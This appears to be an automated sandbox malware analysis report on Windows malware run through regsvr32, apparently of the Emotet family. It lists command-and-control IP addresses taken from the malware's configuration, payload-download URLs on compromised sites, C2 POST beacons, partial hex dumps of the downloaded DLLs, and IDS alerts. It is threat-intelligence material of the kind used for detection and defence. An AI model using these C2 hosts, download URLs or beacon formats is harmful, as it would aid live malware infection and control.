Source: global traffic TCP traffic: 192.168.2.22:49184 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49185 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49189 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49190 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49191 -> 182.162.143.56:443
Source: global traffic TCP traffic: 192.168.2.22:49192 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49192 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49192 -> 173.255.211.88:443
Source: global traffic TCP traffic: 192.168.2.22:49174 -> 47.92.35.35:80
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 81.68.152.197:80

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\regsvr32.exe Network Connect: 45.63.99.23 7080 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Network Connect: 173.255.211.88 443 Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Network Connect: 182.162.143.56 443 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2404316 ET CNC Feodo Tracker Reported CnC Server TCP group 9 192.168.2.22:49181 -> 182.162.143.56:443
Source: Traffic Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.22:50134 -> 8.8.8.8:53
Source: Traffic Snort IDS: 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 192.168.2.22:49177 -> 173.255.211.88:443
Source: Traffic Snort IDS: 2404334 ET CNC Feodo Tracker Reported CnC Server TCP group 18 192.168.2.22:49179 -> 45.63.99.23:7080
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor IPs: 173.255.211.88:443
Source: Malware configuration extractor IPs: 45.63.99.23:7080
Source: Malware configuration extractor IPs: 182.162.143.56:443
Source: Malware configuration extractor IPs: 91.187.140.35:8080
Source: Malware configuration extractor IPs: 212.24.98.99:8080
Source: Malware configuration extractor IPs: 119.59.103.152:8080
Source: Malware configuration extractor IPs: 45.235.8.30:8080
Source: Malware configuration extractor IPs: 172.104.251.154:8080
Source: Malware configuration extractor IPs: 72.15.201.15:8080
Source: Malware configuration extractor IPs: 169.57.156.166:8080
Source: Malware configuration extractor IPs: 103.75.201.2:443
Source: Malware configuration extractor IPs: 213.239.212.5:443
Source: Malware configuration extractor IPs: 164.90.222.65:443
Source: Malware configuration extractor IPs: 201.94.166.162:443
Source: Malware configuration extractor IPs: 94.23.45.86:4143
Source: Malware configuration extractor IPs: 183.111.227.137:8080
Source: Malware configuration extractor IPs: 186.194.240.217:443
Source: Malware configuration extractor IPs: 107.170.39.149:8080
Source: Malware configuration extractor IPs: 147.139.166.154:8080
Source: Malware configuration extractor IPs: 5.135.159.50:443
Source: Malware configuration extractor IPs: 206.189.28.199:8080
Source: Malware configuration extractor IPs: 104.168.155.143:8080
Source: Malware configuration extractor IPs: 129.232.188.93:443
Source: Malware configuration extractor IPs: 82.223.21.224:8080
Source: Malware configuration extractor IPs: 103.43.75.120:443
Source: Malware configuration extractor IPs: 103.132.242.26:8080
Source: Malware configuration extractor IPs: 139.59.56.73:8080
Source: Malware configuration extractor IPs: 164.68.99.3:8080
Source: Malware configuration extractor IPs: 202.129.205.3:8080
Source: Malware configuration extractor IPs: 167.172.199.165:8080
Source: Malware configuration extractor IPs: 110.232.117.186:8080
Source: Malware configuration extractor IPs: 209.97.163.214:443
Source: Malware configuration extractor IPs: 167.172.253.162:8080
Source: Malware configuration extractor IPs: 1.234.2.232:8080
Source: Malware configuration extractor IPs: 159.65.88.10:8080
Source: Malware configuration extractor IPs: 95.217.221.146:8080
Source: Malware configuration extractor IPs: 153.92.5.27:8080
Source: Malware configuration extractor IPs: 91.207.28.33:8080
Source: Malware configuration extractor IPs: 188.44.20.25:443
Source: Malware configuration extractor IPs: 153.126.146.25:7080
Source: Malware configuration extractor IPs: 163.44.196.120:8080
Source: Malware configuration extractor IPs: 172.105.226.75:8080
Source: Malware configuration extractor IPs: 115.68.227.76:8080
Source: Malware configuration extractor IPs: 159.65.140.115:443
Source: Malware configuration extractor IPs: 139.59.126.41:443
Source: Malware configuration extractor IPs: 197.242.150.244:8080
Source: Malware configuration extractor IPs: 45.176.232.124:443
Source: Malware configuration extractor IPs: 45.118.115.99:8080
Source: Malware configuration extractor IPs: 149.56.131.28:8080
Source: Malware configuration extractor IPs: 79.137.35.198:8080
Source: Malware configuration extractor IPs: 173.212.193.249:8080
Source: Malware configuration extractor IPs: 160.16.142.56:8080
Source: Malware configuration extractor IPs: 159.89.202.34:443
Source: Malware configuration extractor IPs: 185.4.135.165:8080
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: RACKCORP-APRackCorpAU RACKCORP-APRackCorpAU
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /foelwwmtkdwehjqr/njwmpsxnqsxod/rlwwfo/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 393Host: 182.162.143.56
Source: global traffic HTTP traffic detected: POST /boiplpwswxcuxnjh/uinwb/ubppn/lupq/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 253Host: 182.162.143.56
Source: global traffic HTTP traffic detected: POST /acqrviy/djjybechrofav/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 341Host: 182.162.143.56
Source: global traffic HTTP traffic detected: POST /urupsapzfmrxqv/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 349Host: 182.162.143.56
Source: global traffic HTTP traffic detected: POST /qhecxbnpzjg/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 324Host: 182.162.143.56
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 110.232.117.186 110.232.117.186
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 14 Nov 2022 07:05:38 GMTContent-Type: application/x-msdownloadContent-Length: 433152Connection: keep-aliveX-Powered-By: PHP/7.1.5Set-Cookie: 6371e8c2c2810=1668409538; expires=Mon, 14-Nov-2022 07:06:38 GMT; Max-Age=60; path=/Cache-Control: no-cache, must-revalidatePragma: no-cacheLast-Modified: Mon, 14 Nov 2022 07:05:38 GMTExpires: Mon, 14 Nov 2022 07:05:38 GMTContent-Disposition: attachment; filename="EvvmhfKiKFhKrSuHfBq.dll"Content-Transfer-Encoding: binaryData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 98 df 3f f2 f9 b1 6c f2 f9 b1 6c f2 f9 b1 6c 9d 8f 1a 6c d6 f9 b1 6c 9d 8f 1b 6c a0 f9 b1 6c 9d 8f 2f 6c ff f9 b1 6c fb 81 32 6c f3 f9 b1 6c fb 81 22 6c fb f9 b1 6c f2 f9 b0 6c 91 f9 b1 6c 9d 8f 1e 6c f1 f9 b1 6c 9d 8f 2a 6c f3 f9 b1 6c 9d 8f 2b 6c f3 f9 b1 6c 9d 8f 2c 6c f3 f9 b1 6c 52 69 63 68 f2 f9 b1 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 1c 29 6d 63 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 02 02 00 00 96 04 00 00 00 00 00 dc 5b 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 06 00 00 04 00 00 a7 e4 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 70 67 06 00 57 00 00 00 b4 5c 06 00 64 00 00 00 00 d0 06 00 54 02 00 00 00 a0 06 00 c4 1a 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 82 01 02 00 00 10 00 00 00 02 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c7 47 04 00 00 20 02 00 00 48 04 00 00 06 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d0 2f 00 00 00 70 06 00 00 1c 00 00 00 4e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 c4 1a 00 00 00 a0 06 00 00 1c 00 00 00 6a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 74 65 78 74 00 00 00 00 1d 09 00 00 00 c0 06 00 00 0a 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 20 2e 72 73 72 63 00 00 00 54 02 00 00 00 d0 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$?lllllll/ll2ll"l
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 14 Nov 2022 07:05:52 GMTContent-Type: application/x-msdownloadContent-Length: 433152Connection: keep-aliveSet-Cookie: 6371e8d02e617=1668409552; expires=Mon, 14-Nov-2022 07:06:52 GMT; Max-Age=60; path=/Cache-Control: no-cache, must-revalidatePragma: no-cacheLast-Modified: Mon, 14 Nov 2022 07:05:52 GMTExpires: Mon, 14 Nov 2022 07:05:52 GMTContent-Disposition: attachment; filename="2yXcjy57oZTTUNweDidCGUY.dll"Content-Transfer-Encoding: binaryData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 98 df 3f f2 f9 b1 6c f2 f9 b1 6c f2 f9 b1 6c 9d 8f 1a 6c d6 f9 b1 6c 9d 8f 1b 6c a0 f9 b1 6c 9d 8f 2f 6c ff f9 b1 6c fb 81 32 6c f3 f9 b1 6c fb 81 22 6c fb f9 b1 6c f2 f9 b0 6c 91 f9 b1 6c 9d 8f 1e 6c f1 f9 b1 6c 9d 8f 2a 6c f3 f9 b1 6c 9d 8f 2b 6c f3 f9 b1 6c 9d 8f 2c 6c f3 f9 b1 6c 52 69 63 68 f2 f9 b1 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 1c 29 6d 63 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 02 02 00 00 96 04 00 00 00 00 00 dc 5b 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 06 00 00 04 00 00 a7 e4 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 70 67 06 00 57 00 00 00 b4 5c 06 00 64 00 00 00 00 d0 06 00 54 02 00 00 00 a0 06 00 c4 1a 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 82 01 02 00 00 10 00 00 00 02 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c7 47 04 00 00 20 02 00 00 48 04 00 00 06 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d0 2f 00 00 00 70 06 00 00 1c 00 00 00 4e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 c4 1a 00 00 00 a0 06 00 00 1c 00 00 00 6a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 74 65 78 74 00 00 00 00 1d 09 00 00 00 c0 06 00 00 0a 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 20 2e 72 73 72 63 00 00 00 54 02 00 00 00 d0 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f6 07 00 00 00 e0 06 00 00 08 00 00 00 94 06 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$?ll
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49181 version: TLS 1.0
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49182 version: TLS 1.0
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49189 version: TLS 1.0
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49190 version: TLS 1.0
Source: unknown HTTPS traffic detected: 182.162.143.56:443 -> 192.168.2.22:49191 version: TLS 1.0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /img/O8G0RDZj7MYCuJyPoP/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: datie-tw.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cgi-bin/WFFcGx/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: copunupo.ac.zmConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /upload/VaOfWEb3pW76UO/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sbm.xinmoshiwang.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-admin/4cChao/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ly.yjlianyi.topConnection: Keep-Alive
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 45.63.99.23:7080
Connects to several IPs in different countries
Source: unknown Network traffic detected: IP country count 23
Source: unknown Network traffic detected: HTTP traffic on port 49185 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49189
Source: unknown Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49185
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49184
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown Network traffic detected: HTTP traffic on port 49189 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49182
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown Network traffic detected: HTTP traffic on port 49191 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49184 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49191
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49177 -> 443
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 14 Nov 2022 07:05:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Powered-By: PHP/7.4.33
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 182.162.143.56
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 173.255.211.88
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: unknown TCP traffic detected without corresponding DNS query: 45.63.99.23
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 